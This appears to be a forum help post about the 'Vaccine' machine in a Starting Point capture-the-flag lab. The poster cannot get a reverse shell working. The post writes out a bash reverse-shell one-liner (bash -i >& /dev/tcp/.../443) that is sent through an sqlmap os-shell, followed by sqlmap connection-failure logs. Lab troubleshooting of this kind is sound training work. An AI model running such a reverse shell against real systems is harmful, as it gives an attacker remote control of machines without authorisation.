Startingpoint | Vaccine: Unable to connect using bash (bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1") while listening to 443

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These are the following run:
os-shell> bash -c “bash -i >& /dev/tcp/10.0.2.15/443 0>&1”

do you want to retrieve the command standard output? [Y/n/a]

[15:14:42] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[15:15:07] [WARNING] turning off pre-connect mechanism because of connection reset(s)
[15:15:37] [CRITICAL] connection timed out to the target URL